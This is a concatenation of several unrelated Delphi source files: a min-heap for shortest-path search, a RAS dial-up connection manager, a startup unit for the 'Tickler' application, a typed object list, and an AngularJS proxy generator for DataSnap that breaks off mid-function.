MinHeap.List[v].SetDist(new);
Build_Heap; //maintain MinHeap order
end;
destructor TMinHeap.Destroy;
// frees list after use
begin
MinHeap.free;
end;
procedure TMinHeap.extract_mini(u: TPlace);
// deletes and returns the TPlace with minimum distance from the source
var
n, i, c, m: integer;
begin
u.ClearEdges;
u.ClearNeighbours;
u.SetName(MinHeap.Items[0].GetName); //sets up u as the minimum place
u.SetDist(MinHeap.Items[0].GetDist);
for c := 0 to (MinHeap.Items[0].Edges.Count) - 1 do
u.AddEdge(MinHeap.Items[0].Edges[c]);
for m := 0 to (MinHeap.Items[0].Neighbours.Count) - 1 do
u.AddNeighbour(MinHeap.Items[0].Neighbours[m]);
MinHeap.Exchange(0, Count - 1); //swaps first and last items
MinHeap.Delete(Count - 1); //deletes last item
n := Count;
for i := 0 to (n - 1) div 2 do
BubbleUp(i, n); //Keep the queue in correct MinHeap form
end;
function TMinHeap.FindIndex(p: TPlace): integer;
// Finds the index of an item in the list
var
i: integer;
begin
for i := 0 to Count - 1 do
begin
if MinHeap[i].GetName = p.GetName then
begin
result := i;
exit
end
else
begin
result := -1; // return null if the item is not found
end;
end;
if result = -1 then
ShowMessage('Error: Item not in list, returned Nil'); //raise error
end;
function TMinHeap.GetCount: integer;
// returns the number of items in the list
begin
result := MinHeap.Count;
end;
function TMinHeap.GetPlace(name: string; Map: TObjectList<TPlace>): TPlace;
// takes in the name of a place and returns that place from the Map
var
i: integer;
begin
for i := 0 to Map.Count -1 do // loop through array to find it
begin
if Map.Items[i].GetName = Name then
begin
result := Map.Items[i];
exit
end
else
begin
result := nil; // return nil if it is not found
end;
end;
if result = nil then
ShowMessage('GetPlace Error: Item not in list, returned Nil'); //raise error
end;
procedure TMinHeap.BubbleUp(i, n: integer);
// Corrects the order of the heap to keep it as a min heap by moving items up
// builds it in terms of distance from the source vertex
var
left, right, smallest: integer;
begin
left := 2 * i + 1; // Find Left Child for list indexed from 0
right := 2 * i + 2; // Find Right Child for list indexed from 0
smallest := i;
if (left < n) then
begin
if (MinHeap[left].GetDist < MinHeap[i].GetDist) then
smallest := MinHeap.Indexof(MinHeap[left]);
// check whether left child is smallest
end;
if (right < n) then
begin
if (MinHeap[right].GetDist < MinHeap[smallest].GetDist) then
smallest := MinHeap.Indexof(MinHeap[right]);
// check whether right child is smallest
end;
if smallest <> i then
begin
MinHeap.Exchange(i, smallest); // swap positions of current smallest and i
BubbleUp(smallest, n); // recurse until smallest = i
// i.e neither left or right is smaller
end;
end;
procedure TMinHeap.Print;
// Print function for debugging use
var
i, n, c: integer;
begin
writeln('MinHeap: ');
for i := 0 to MinHeap.Count - 1 do
begin
writeln('Place: ', MinHeap[i].GetName);
writeln('Edges: ');
for n := 0 to MinHeap[i].Edges.Count - 1 do
begin
writeln(' Node: ', MinHeap[i].Edges[n].GetName, ' Weight: ',
MinHeap[i].Edges[n].GetWeight);
end;
writeln('Current Distance from source: ', MinHeap[i].GetDist);
for c := 0 to MinHeap[i].Neighbours.Count - 1 do
begin
writeln('Neighbours: ', MinHeap[i].Neighbours[c]);
end;
writeln(' ');
end;
writeln(' ');
end;
procedure TMinHeap.RemovePlace(Name: string; Map: TObjectList<TPlace>);
var
Place:TPlace;
Index,i:integer;
begin
if ContainsPlace(Name,MinHeap) then
begin
Place:= GetPlace(Name,Map);
Index := FindIndex(Place);
MinHeap.Delete(Index);
for i := 0 to Count-1 do
begin
if (MinHeap.Items[i].Neighbours.Count =1) and (MinHeap.Items[i].Neighbours[0] = Name) then
MinHeap.Delete(i);
end;
for i := 0 to (Count - 1) div 2 do
BubbleUp(i, Count); //Keep the queue in correct MinHeap form
end
else
Showmessage('Place is not in the map or does not exist');
end;
procedure TMinHeap.Update(NewDist: integer; name,NewParent: string;Map: TObjectList<TPlace>);
//Updates the distance value for all neighbouring places in MinHeap and Map
var
i, n: integer;
begin
for i := 0 to GetCount - 1 do
begin
for n := 0 to MinHeap.Items[i].Neighbours.Count - 1 do
begin
if name = MinHeap.Items[i].Neighbours[n] then
begin
GetPlace(MinHeap.List[i].Neighbours[n],Map).SetDist(NewDist);
GetPlace(MinHeap.List[i].Neighbours[n],Map).SetParent(NewParent);
end;
end;
end;
for i := 0 to Map.Count -1 do
begin
for n := 0 to Map.Items[i].Neighbours.Count - 1 do
begin
if name = Map.Items[i].Neighbours[n] then
begin
GetPlace(Map.List[i].Neighbours[n],Map).SetDist(NewDist);
GetPlace(Map.List[i].Neighbours[n],Map).SetParent(NewParent);
end;
end;
end;
end;
end.
|
unit uRASMngrCommon;
interface
uses Winapi.Windows, Ras, RasHelperClasses, System.Classes, Winapi.Messages;
const
ConnectionTimeout: Cardinal = 60000;
SettingsFileName = 'RasManager\settings.ini';
const
WM_CHANGESTATE = WM_USER + 0;
WM_CONNSTATE = WM_USER + 1;
WM_CONNMESSAGE = WM_USER + 2;
type
TOperationStatus = (osConnected, osDisconnected, osProcessing, osUnknown);
TControlThread = class(TThread)
private const
TIMEOUT = 1000;
private
FPollProc: TThreadProcedure;
public
constructor Create(APollProc: TThreadProcedure);
procedure Execute; override;
end;
TConnectThread = class(TThread)
private const
TIMEOUT = 60000;
private
FEntry: TRasPhonebookEntry;
FNotifyHwnd: THandle;
public
constructor Create(AEntry: TRasPhonebookEntry; ANotifyHwnd: THandle);
procedure Execute; override;
end;
TPhonebook = class(TRasPhonebook)
private
FControlThread: TControlThread;
FOwnerHwnd: THandle;
FInited: Boolean;
// FTmp: TConnectThread;
private
procedure CheckConnectionStatus(AItem: TRasPhonebookEntry);
procedure UpdateConnections;
procedure Poll;
protected
procedure DoRefresh; override;
public
constructor Create(AOwnerHwnd: THandle);
destructor Destroy; override;
public
function FindEntry(const EntryName: string): TRasPhonebookEntry;
procedure SetConnectionProcessDone(AConnectionHandle: THRasConn;
ADisconnect: Boolean);
end;
function GetOperationStatusDescr(AStatus: TOperationStatus): string;
procedure AddRoute(AppHandle: HWND; const Node, Mask, Gateway: string);
var
NotifyWnd: THandle;
Phonebook: TPhonebook;
implementation
uses System.SysUtils, Winapi.ShellAPI, RasUtils, RasError;
procedure RasDialFunc(AConnectionHandle: THRasConn; unMsg: UINT;
AConnectionState: TRasConnState; AErrorCode: DWORD;
AExtErrorCode: DWORD); stdcall;
var
LMessage: string;
begin
LMessage := RasConnStatusString(AConnectionState, AErrorCode);
SendMessage(NotifyWnd, WM_CONNMESSAGE, 0, LPARAM(PChar(LMessage)));
if AErrorCode <> 0 then
try
RasHangUp(AConnectionHandle); // Обязательно разорвать соединение!
except
end;
if (AConnectionState = RASCS_Connected) or
(AConnectionState = RASCS_Disconnected) or (AErrorCode <> 0) then
Phonebook.SetConnectionProcessDone(AConnectionHandle, AErrorCode <> 0);
end;
function GetOperationStatusDescr(AStatus: TOperationStatus): string;
begin
case AStatus of
osConnected:
Result := 'Connected';
osDisconnected:
Result := 'Disconnected';
osProcessing:
Result := 'Processing...';
osUnknown:
Result := 'Unknown state';
end;
end;
procedure AddRoute(AppHandle: HWND; const Node, Mask, Gateway: string);
var
Parameters: string;
begin
Parameters := 'add ' + Node + ' mask ' + Mask + ' ' + Gateway;
ShellExecute(AppHandle, '', 'route', PWideChar(Parameters), nil, SW_HIDE);
end;
{ TConnections }
procedure TPhonebook.CheckConnectionStatus(AItem: TRasPhonebookEntry);
begin
if (AItem.NeedConnect = AItem.Connection.Connected) or (AItem.Connection.Busy)
then
Exit; // Если соединение есть или устанавливается - пропускаем
TConnectThread.Create(AItem, FOwnerHwnd);
end;
constructor TPhonebook.Create(AOwnerHwnd: THandle);
begin
FOwnerHwnd := AOwnerHwnd;
inherited Create;
FInited := False;
UpdateConnections;
FControlThread := TControlThread.Create(Poll);
end;
destructor TPhonebook.Destroy;
begin
FControlThread.Terminate;
FControlThread.WaitFor;
FreeAndNil(FControlThread);
inherited;
end;
procedure TPhonebook.DoRefresh;
begin
UpdateConnections;
inherited;
end;
function TPhonebook.FindEntry(const EntryName: string): TRasPhonebookEntry;
var
I: Integer;
begin
Result := nil;
for I := 0 to Count - 1 do
begin
if Items[I].Name = EntryName then
begin
Result := Items[I];
Exit;
end;
end;
end;
procedure TPhonebook.Poll;
begin
try
UpdateConnections;
except
SendMessage(FOwnerHwnd, WM_CONNMESSAGE, 0,
LPARAM(PChar(Exception(ExceptObject).Message)));
end;
end;
procedure TPhonebook.SetConnectionProcessDone(AConnectionHandle: THRasConn;
ADisconnect: Boolean);
var
I: Integer;
begin
for I := 0 to Count - 1 do
begin
if Items[I].Connection.Handle = AConnectionHandle then
begin
Items[I].Connection.Busy := False;
if ADisconnect then
try
Items[I].Connection.HangUp;
except
end;
Exit;
end;
end;
end;
procedure TPhonebook.UpdateConnections;
var
Entries, P: PRasConn;
BufSize, NumberOfEntries, Res: DWORD;
I, J: Integer;
LFound: Boolean;
procedure InitFirstEntry;
begin
ZeroMemory(Entries, BufSize);
Entries^.dwSize := Sizeof(Entries^);
end;
begin
inherited;
New(Entries);
BufSize := Sizeof(Entries^);
InitFirstEntry;
Res := RasEnumConnections(Entries, BufSize, NumberOfEntries);
if Res = ERROR_BUFFER_TOO_SMALL then
begin
ReallocMem(Entries, BufSize);
InitFirstEntry;
Res := RasEnumConnections(Entries, BufSize, NumberOfEntries);
end;
try
RasCheck(Res);
for I := 0 to Count - 1 do
begin
LFound := False;
P := Entries;
for J := 1 to NumberOfEntries do
begin
LFound := Items[I].Name = P^.szEntryName;
if LFound then
Items[I].Connection.RasConn := P^;
Inc(P);
end;
if not LFound then
Items[I].Connection.Handle := 0; // IsConnected = False
if Items[I].Connection.Changed then
begin
PostMessage(FOwnerHwnd, WM_CHANGESTATE, Integer(Items[I]), 0);
if Items[I].Connection.Connected then
begin
if Items[I].Connection.IPAddress <> '' then
Items[I].Connection.Changed := False;
end
else
Items[I].Connection.Changed := False;
end;
if FInited then
CheckConnectionStatus(Items[I])
else
Items[I].NeedConnect := Items[I].Connection.Connected;
end;
finally
FreeMem(Entries);
FInited := True;
end;
end;
{ TControlThread }
constructor TControlThread.Create(APollProc: TThreadProcedure);
begin
inherited Create(False);
FPollProc := APollProc;
end;
procedure TControlThread.Execute;
begin
inherited;
while not Terminated do
begin
Sleep(TIMEOUT);
if Assigned(FPollProc) then
FPollProc;
end;
end;
{ TConnectThread }
constructor TConnectThread.Create(AEntry: TRasPhonebookEntry;
ANotifyHwnd: THandle);
begin
inherited Create(False);
Self.FreeOnTerminate := True;
FEntry := AEntry;
FNotifyHwnd := ANotifyHwnd;
end;
procedure TConnectThread.Execute;
var
Fp: LongBool;
R: Integer;
LHandle: THandle;
LParams: TRasDialParams;
begin
FEntry.Connection.Busy := True;
FillChar(LParams, Sizeof(TRasDialParams), 0);
with LParams do
begin
dwSize := Sizeof(TRasDialParams);
StrPCopy(szEntryName, FEntry.Name);
end;
R := RasGetEntryDialParams(nil, LParams, Fp);
if R = 0 then
begin
try
SendMessage(FNotifyHwnd, WM_CONNSTATE, 0, Ord(osProcessing));
if FEntry.NeedConnect then
begin
FEntry.Connection.Handle := 0;
LHandle := 0;
RasCheck(RasDial(nil, nil, @LParams, 1, @RasDialFunc, LHandle));
FEntry.Connection.Handle := LHandle;
end
else
begin
if FEntry.Connection.Connected then
FEntry.Connection.HangUp;
FEntry.Connection.Busy := False;
SendMessage(FNotifyHwnd, WM_CONNSTATE, 0, Ord(osDisconnected));
end;
except
SendMessage(FNotifyHwnd, WM_CONNMESSAGE, 0,
LPARAM(PChar(Exception(ExceptObject).Message)));
FEntry.Connection.Busy := False;
end;
end;
end;
end.
|
unit UStartup;
interface
uses
System.Sysutils,
Vcl.Forms,
Vcl.Controls,
Vcl.Dialogs,
Winapi.Windows,
Winapi.Messages;
const
// Name of main window class
cWindowClassName = 'Accusys.Tickler.3';
// Any 32 bit number here to perform check on copied data
cCopyDataWaterMark = $DE1F1DAB;
// User window message handled by main form ensures that
// app not minimized or hidden and is in foreground
UM_ENSURERESTORED = WM_USER + 1;
function FindDuplicateMainWdw: HWND;
function SwitchToPrevInst(Wdw: HWND): Boolean;
procedure ActivateWindow(Handle: THandle; RestoreIfMinimized: Boolean = True);
function CanStart: Boolean;
procedure InitializeAndRunApplication;
implementation
uses
Splash,
Main,
Manager,
UserInfoForm,
TicklerTypes,
FFSUtils,
DataMod,
DataCaddy;
function SendParamsToPrevInst(Wdw: HWND): Boolean;
var
CopyData: TCopyDataStruct;
I: Integer;
CharCount: Integer;
Data: PChar;
PData: PChar;
begin
CharCount := 0;
for I := 1 to ParamCount do
Inc(CharCount, Length(ParamStr(I)) + 1);
Inc(CharCount);
Data := StrAlloc(CharCount);
try
PData := Data;
for I := 1 to ParamCount do
begin
StrPCopy(PData, ParamStr(I));
Inc(PData, Length(ParamStr(I)) + 1);
end;
PData^ := #0;
CopyData.lpData := Data;
CopyData.cbData := CharCount * SizeOf(Char);
CopyData.dwData := cCopyDataWaterMark;
Result := SendMessage(Wdw, WM_COPYDATA, 0, LPARAM(@CopyData)) = 1;
finally
StrDispose(Data);
end;
end;
function FindDuplicateMainWdw: HWND;
begin
Result := FindWindow(cWindowClassName, nil);
end;
function SwitchToPrevInst(Wdw: HWND): Boolean;
begin
Assert(Wdw <> 0);
if ParamCount > 0 then
Result := SendParamsToPrevInst(Wdw)
else
Result := True;
if Result then
SendMessage(Wdw, UM_ENSURERESTORED, 0, 0);
end;
procedure ActivateWindow(Handle: THandle; RestoreIfMinimized: Boolean = True);
var
CurThreadID, ThreadID: THandle;
begin
if RestoreIfMinimized and IsIconic(Handle) then
ShowWindow(Handle, SW_RESTORE);
CurThreadID:= GetCurrentThreadID;
ThreadID:= GetWindowThreadProcessId(GetForegroundWindow, nil);
if CurThreadID = ThreadID then
SetForegroundWindow(Handle)
else begin
if AttachThreadInput(GetCurrentThreadID, ThreadID, True) then begin
//ActivateWindowOld(Handle, RestoreIfMinimized);
SetForegroundWindow(Handle);
BringWindowToTop(Handle);
AttachThreadInput(GetCurrentThreadID, ThreadID, False);
end;
end;
end;
function CanStart: Boolean;
var
Wdw: HWND;
begin
{$IFDEF DEVTEST}
Exit(True); //VG 280717: TODO remove the line after testing
{$ENDIF}
if FileExists('NoCoreLink.ini') then
Result := True
else
begin
Wdw := FindDuplicateMainWdw;
if Wdw = 0 then
Result := True
else
Result := not SwitchToPrevInst(Wdw);
end;
end;
procedure CheckAdminUser;
var
frmUserInfo : TfrmUserInfo;
begin
if not Daapi.UserGetNameList.IsEmpty then // There are existing users, no need to create the initial admin user
Exit;
MsgInformation('There are no existing Tickler users. Please choose a name and password for the administrator user in the next screen.');
frmUserInfo := TfrmUserInfo.Create(nil);
try
frmUserInfo.isAdding := true;
frmUserInfo.isFirstAdminUser := true;
FillChar(frmUserInfo.dbuf.Data, SizeOf(frmUserInfo.dbuf.Data), 0);
if frmUserInfo.ShowModal = mrOk then
Daapi.UserAddRecord(frmUserInfo.dbuf.Data)
else
raise Exception.Create('Please create an initial admin user. The application can not continue without one.');
finally
frmUserInfo.Release;
end;
end;
procedure InitializeAndRunApplication;
var
JustDC : Boolean;
ShowSplash : Boolean;
TickMan : Boolean;
appver : String;
thisVersion: String;
Corelink : Boolean;
TrialDaysLeft: Integer;
begin
try
MaxRec := 3000;
if CanStart then
begin
TickMan := false;
Corelink := false;
Application.CreateForm(TdmTick, dmTick);
dmTick.InitializeDatabase; // connects to data directories
ShowSplash := True;
JustDC := false;
if ParamCount > 0 then
begin
Corelink := UpperCase(ParamStr(1)) = 'CL'; // Sirisha Jakkula Feb 11 2011
JustDC := (UpperCase(ParamStr(1)) = 'DC') or (uppercase(paramstr(1)) = 'MPS');
TickMan := UpperCase(ParamStr(1)) = 'TICKMAN';
ShowSplash := false;
end;
daapi.OpenBaseTables;
TicklerSetup := daapi.GetSetupRecord1;
if ShowSplash and TicklerSetup.SplashScreen then
begin
frmSplash := TfrmSplash.Create(nil);
frmSplash.Show;
frmSplash.Update;
end;
dmTick.JustDC := JustDC;
Application.Title := 'Tickler for Windows';
if TickMan then
Application.CreateForm(TfrmManager, frmManager)
else
begin
Application.CreateForm(TfrmMain, frmMain);
CheckAdminUser; // After tables are opened
if daapi.GetDatabaseVersion < CurrentDBVersion then
raise exception.Create('The database needs to be upgraded. Please run the DBUpgrade from Tickler Manager.');
thisVersion := frmMain.VersionLabel1.GetInfo(false);
appver := daapi.CheckApplicationVersion(thisVersion);
if not appver.Trim.IsEmpty then
raise exception.Create('You are running an older version of Tickler that' +
' needs to be updated. Please contact your Ticker Administrator to ' +
'assist you in updating to at least version ' + appver);
if not daapi.SecureRegistered(TrialDaysLeft) then
begin
if TrialDaysLeft > 0 then
MessageDlg(Format('This is a trial copy of Tickler and you have %d days left.', [TrialDaysLeft]), mtInformation, [mbOK], 0)
else
raise Exception.Create('The trial version of Tickler has expired. Please contact AccuSystems at (800) 950-2550,Option 3 for more information or to purchase Tickler.');
end;
ClearCurrentLender;
end; // if TickMan .. else
if ShowSplash and TicklerSetup.SplashScreen then
frmSplash.Release;
Application.ProcessMessages;
if JustDC then
begin
Application.CreateForm(TfrmDatacaddy, frmDataCaddy);
frmMain.JustDC := True;
// VG 230618: TODO Refactor this so it is not necessary to jump around between Main and DC, no cludge needed
// ok, this is kindof a cludge
// if I don't call application.run, the programsettings get corrupted
// but, applicaiton.run wants to show the main form. So, we tell the
// main form to run the DC
end else
begin
if not TickMan then
begin
if Corelink then
begin
if TicklerSetup.CorelinkEnabled then
begin
frmMain.Corelink := True;
frmMain.CoreParam := paramstr(2);
end else
ShowMessage('Corelink is not enabled. Please check with Tickler Admin.');
end;
frmMain.Show;
frmMain.Update;
frmMain.actLogin.Execute;
end;
end; // if JustDC ... else
Application.Run;
end; // can start
except on E: Exception do
begin
MsgAsterisk(E.Message);
// VG 240618: Application.Run changes the order of finalization of units and objects (in the DoneApplication proc)
// If it is not called, units are finalized first and global vars disposed, and then objects are freed.
// This leads to AVs on shutdown in case of unhandled exceptions, probably due to errors in some finalization
// section that raises its own exception or references a nil var/object. The lines below are just a workaround
// Would be good to trace that down and remove the error and the Run
Application.ShowMainForm := false;
Application.Terminate;
Application.Run;
end;
end;
end;
end.
|
unit cPatternTableSettings;
interface
uses contnrs;
type
TPatternTableSettings = class
private
_Offset : Integer;
_Size : Integer;
public
property Offset : Integer read _Offset write _Offset;
property Size : Integer read _Size write _Size;
end;
TPatternTableSettingsList = class(TObjectList)
protected
function GetItem(Index: Integer) : TPatternTableSettings;
procedure SetItem(Index: Integer; const Value: TPatternTableSettings);
public
function Add(AObject: TPatternTableSettings) : Integer;
property Items[Index: Integer] : TPatternTableSettings read GetItem write SetItem;default;
function Last : TPatternTableSettings;
end;
implementation
{ TPatternTableSettingsList }
function TPatternTableSettingsList.Add(AObject: TPatternTableSettings): Integer;
begin
Result := inherited Add(AObject);
end;
function TPatternTableSettingsList.GetItem(Index: Integer): TPatternTableSettings;
begin
Result := TPatternTableSettings(inherited Items[Index]);
end;
procedure TPatternTableSettingsList.SetItem(Index: Integer; const Value: TPatternTableSettings);
begin
inherited Items[Index] := Value;
end;
function TPatternTableSettingsList.Last : TPatternTableSettings;
begin
result := TPatternTableSettings(inherited Last);
end;
end.
|
{ ******************************************************************************** }
{ }
{ By Amarildo Lacerda }
{
This code started from embarcadero code for Javascript
and generate code for Angular.Factory -
first of all, create bases functions, declare service and
create a factory.
{ }
{ }
{ HowTo (Servidor Datasanap - Delphi):
// 1. include UNIT in an USES of project (where exists a TDSProxyGenerator)
// Auto-registro da classe necessária para o Framework;
// 2. para gerar o código AngularJS, (pode usar o evento create)
// trocar a propriedade:
// DSProxyGenerator1.Writer := sAngularJSRESTProxyWriter;
ex (for delphi stander project):
// DSProxyGenerator1.Writer := sAngularJSRESTProxyWriter;
// DSProxyGenerator1.TargetDirectory := ExtractFilePath(AFileName);
// DSProxyGenerator1.TargetUnitName := ExtractFileName(AFileName);
// DSProxyGenerator1.Write;
HowTo (AngularJS):
// 1. não há necessidade de incluir no angular.module - o código gerado já
// faz isto automaticamente. (will create a service angular like)
// 2. declarando o factory no Controller: (on controller)
// app.controller('productController', function productController(...$Datasnap,....) { ....
// 3. dependency - !!!!!
}
(*
// Angular sample (assync way):
// for: ../Product/Item/1
//
// $Datasnap.Product.Item( function (result ) {
// ....
// } ,
// 1);
//
*)
{
{ TODO : Authentication }
{ History:
29/08/2016 - created
}
{ ********************************************************************************* }
{$HPPEMIT LINKUNIT}
unit Datasnap.DSProxyAngularJS;
{$D+}
interface
uses System.Classes, Data.DBXCommon, Data.DBXPlatform, Datasnap.DSCommonProxy,
Datasnap.DSProxyWriter;
type
TDSClientProxyWriterAngularJs = class(TDSProxyWriter)
public
function CreateProxyWriter: TDSCustomProxyWriter; override;
function Properties: TDSProxyWriterProperties; override;
function FileDescriptions: TDSProxyFileDescriptions; override;
end;
TDSCustomAngularJsProxyWriter = class abstract(TDSCustomProxyWriter)
public
constructor Create;
protected
function IsPrimitiveJSONType(ClassName: String): Boolean;
function GetSupportedTypes: TDBXInt32s; virtual;
function GetNonURLTypes: TDBXInt32s; virtual;
function GetAssignmentString: string; override;
function GetCreateDataSetReader(
const Param: TDSProxyParameter): string; override;
function GetCreateParamsReader(
const Param: TDSProxyParameter): string; override;
procedure WriteInterface; override;
procedure WriteJSLine(
const Line: string); overload; virtual;
procedure WriteJSLine; overload; virtual;
function ExtendedIncludeClass(
const ProxyClass: TDSProxyClass): Boolean; virtual;
function Contains(
const Arr: TDBXInt32s;
const Value: Integer): Boolean; virtual;
function ExtendedIncludeMethod(
const ProxyMethod: TDSProxyMethod): Boolean; virtual;
function GetFirstClass: TDSProxyClass; virtual;
procedure WriteImplementation; override;
procedure WriteProxyClassList(
const ProxyClassNameList: TDBXStringList); virtual;
procedure WriteClassImplementation(
const ProxyClass: TDSProxyClass;
const ProxyClassNameList: TDBXStringList); virtual;
function GetMethodRequestType(
const ProxyClass: TDSProxyClass;
const Method: TDSProxyMethod): string; virtual;
function GetMethodRequestName(
const ProxyClass: TDSProxyClass;
const Method: TDSProxyMethod): string; virtual;
procedure WriteMethodComment(
const ProxyClass: TDSProxyClass;
const ProxyMethod: TDSProxyMethod); virtual;
procedure WriteMethodImplementation(
const ProxyClass: TDSProxyClass;
const ProxyMethod: TDSProxyMethod); virtual;
private
function HasOnlyURLParams(
const Method: TDSProxyMethod): Boolean;
procedure WriteConnectionInfo;
procedure SetGenerateURLFunctions(
const Value: Boolean);
protected
FSupportedTypes: TDBXInt32s;
FNonURLTypes: TDBXInt32s;
Get: string;
Post: string;
Put: string;
Delete: string;
FPostPrefix: string;
FPutPrefix: string;
FDeletePrefix: string;
FGenerateURLFunctions: Boolean;
public
property GenerateURLFunctions: Boolean read FGenerateURLFunctions
write SetGenerateURLFunctions;
protected
property SupportedTypes: TDBXInt32s read GetSupportedTypes;
property NonURLTypes: TDBXInt32s read GetNonURLTypes;
property FirstClass: TDSProxyClass read GetFirstClass;
end;
/// <summary> Writes a JavaScript proxy for a server application. </summary>
TDSAngularJsProxyWriter = class(TDSCustomAngularJsProxyWriter)
private
FStreamWriter: TStreamWriter;
FTargetUnitName: String;
FIncludeClasses: TDBXStringArray;
FExcludeClasses: TDBXStringArray;
FIncludeMethods: TDBXStringArray;
FExcludeMethods: TDBXStringArray;
function GetFileName(OutputFile: string): string;
protected
procedure DerivedWrite(
const Line: string); override;
procedure DerivedWriteLine; override;
public
property StreamWriter: TStreamWriter read FStreamWriter write FStreamWriter;
property TargetUnitName: string read FTargetUnitName write FTargetUnitName;
/// <summary> Array of classes to include in the generation
/// </summary>
property IncludeClasses: TDBXStringArray read FIncludeClasses
write FIncludeClasses;
/// <summary> Array of classes to exclude in the generation
/// </summary>
property ExcludeClasses: TDBXStringArray read FExcludeClasses
write FExcludeClasses;
/// <summary> Array of methods to include in the generation
/// </summary>
property IncludeMethods: TDBXStringArray read FIncludeMethods
write FIncludeMethods;
/// <summary> Array of methods to exclude in the generation
/// </summary>
property ExcludeMethods: TDBXStringArray read FExcludeMethods
write FExcludeMethods;
/// <summary> Generates the JavaScript proxy
/// </summary>
/// <param name="AConnection">
/// Connection to use for retrieving server class/function information
/// </param>
/// <param name="AStream">The stream to write the proxy out to</param>
procedure generateJS(AConnection: TDBXConnection; AStream: TStream);
/// <summary> Generates the JavaScript proxy
/// </summary>
/// <param name="AConnection">
/// Connection to use for retrieving server class/function information
/// </param>
/// <param name="AFileName">The file to write the proxy out to</param>
procedure UpdateJSProxyFile(AConnection: TDBXConnection;
const AFileName: string);
destructor Destroy; override;
end;
const
sAngularJSRESTProxyWriter = 'AngularJS REST'; // dont change...
implementation
uses Datasnap.DSClientResStrs, System.SysUtils, System.StrUtils
{$IFDEF MACOS}
, Macapi.CoreFoundation
{$ENDIF MACOS}
;
function TDSCustomAngularJsProxyWriter.GetSupportedTypes: TDBXInt32s;
var
I: Integer;
begin
if FSupportedTypes = nil then
begin
SetLength(FSupportedTypes, 24);
I := 0;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.AnsiStringType;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.WideStringType;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.BooleanType;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.Int8Type;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.Int16Type;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.Int32Type;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.Int64Type;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.UInt8Type;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.UInt16Type;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.UInt32Type;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.UInt64Type;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.DoubleType;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.SingleType;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.CurrencyType;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.BcdType;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.DateType;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.DatetimeType;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.TimeType;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.TimeStampType;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.JsonValueType;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.ArrayType;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.ObjectType;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.TableType;
FSupportedTypes[IncrAfter(I)] := TDBXDataTypes.BinaryBlobType;
end;
Result := FSupportedTypes;
end;
function TDSCustomAngularJsProxyWriter.GetNonURLTypes: TDBXInt32s;
var
I: Integer;
begin
if FNonURLTypes = nil then
begin
SetLength(FNonURLTypes, 9);
I := 0;
FNonURLTypes[IncrAfter(I)] := TDBXDataTypes.JsonValueType;
FNonURLTypes[IncrAfter(I)] := TDBXDataTypes.ObjectType;
FNonURLTypes[IncrAfter(I)] := TDBXDataTypes.TableType;
FNonURLTypes[IncrAfter(I)] := TDBXDataTypes.BytesType;
FNonURLTypes[IncrAfter(I)] := TDBXDataTypes.VarBytesType;
FNonURLTypes[IncrAfter(I)] := TDBXDataTypes.ArrayType;
FNonURLTypes[IncrAfter(I)] := TDBXDataTypes.CharArrayType;
FNonURLTypes[IncrAfter(I)] := TDBXDataTypes.BlobType;
FNonURLTypes[IncrAfter(I)] := TDBXDataTypes.BinaryBlobType;
end;
Result := FNonURLTypes;
end;
constructor TDSCustomAngularJsProxyWriter.Create;
begin
Get := 'GET';
Post := 'POST';
Put := 'PUT';
Delete := 'DELETE';
FPostPrefix := 'update';
FPutPrefix := 'accept';
FDeletePrefix := 'cancel';
inherited Create;
FIndentIncrement := 2;
FIndentString := '';
FGenerateURLFunctions := false;
end;
function TDSCustomAngularJsProxyWriter.GetAssignmentString: string;
begin
Result := '=';
end;
function TDSCustomAngularJsProxyWriter.GetCreateDataSetReader(
const Param: TDSProxyParameter): string;
begin
Result := NullString;
end;
function TDSCustomAngularJsProxyWriter.GetCreateParamsReader(
const Param: TDSProxyParameter): string;
begin
Result := NullString;
end;
procedure TDSCustomAngularJsProxyWriter.WriteInterface;
begin
end;
procedure TDSCustomAngularJsProxyWriter.WriteJSLine(
const Line: string);
begin
inherited WriteLine(Line);
end;
procedure TDSCustomAngularJsProxyWriter.WriteJSLine;
begin
inherited WriteLine;
end;
function TDSCustomAngularJsProxyWriter.ExtendedIncludeClass(
const ProxyClass: TDSProxyClass): Boolean;
var
ProxyMethod: TDSProxyMethod;
begin
if IncludeClass(ProxyClass) then
begin
if string.Compare(sDSMetadataClassName, ProxyClass.ProxyClassName, True) = 0
then
Exit(false);
ProxyMethod := ProxyClass.FirstMethod;
while ProxyMethod <> nil do
begin
if ExtendedIncludeMethod(ProxyMethod) then
Exit(True);
ProxyMethod := ProxyMethod.Next;
end;
end;
Result := false;
end;
function TDSCustomAngularJsProxyWriter.Contains(
const Arr: TDBXInt32s;
const Value: Integer): Boolean;
var
I: Integer;
begin
for I := 0 to Length(Arr) - 1 do
begin
if Arr[I] = Value then
Exit(True);
end;
Result := false;
end;
function TDSCustomAngularJsProxyWriter.ExtendedIncludeMethod(
const ProxyMethod: TDSProxyMethod): Boolean;
var
Param: TDSProxyParameter;
PtType: Integer;
PtName: string;
begin
if IncludeMethod(ProxyMethod) then
begin
Param := ProxyMethod.Parameters;
if Param <> nil then
while Param <> nil do
begin
PtType := Param.DataType;
if not Contains(SupportedTypes, PtType) then
Exit(false)
else if (Param.ParameterDirection = TDBXParameterDirections.
ReturnParameter) and (PtType = TDBXDataTypes.WideStringType) then
begin
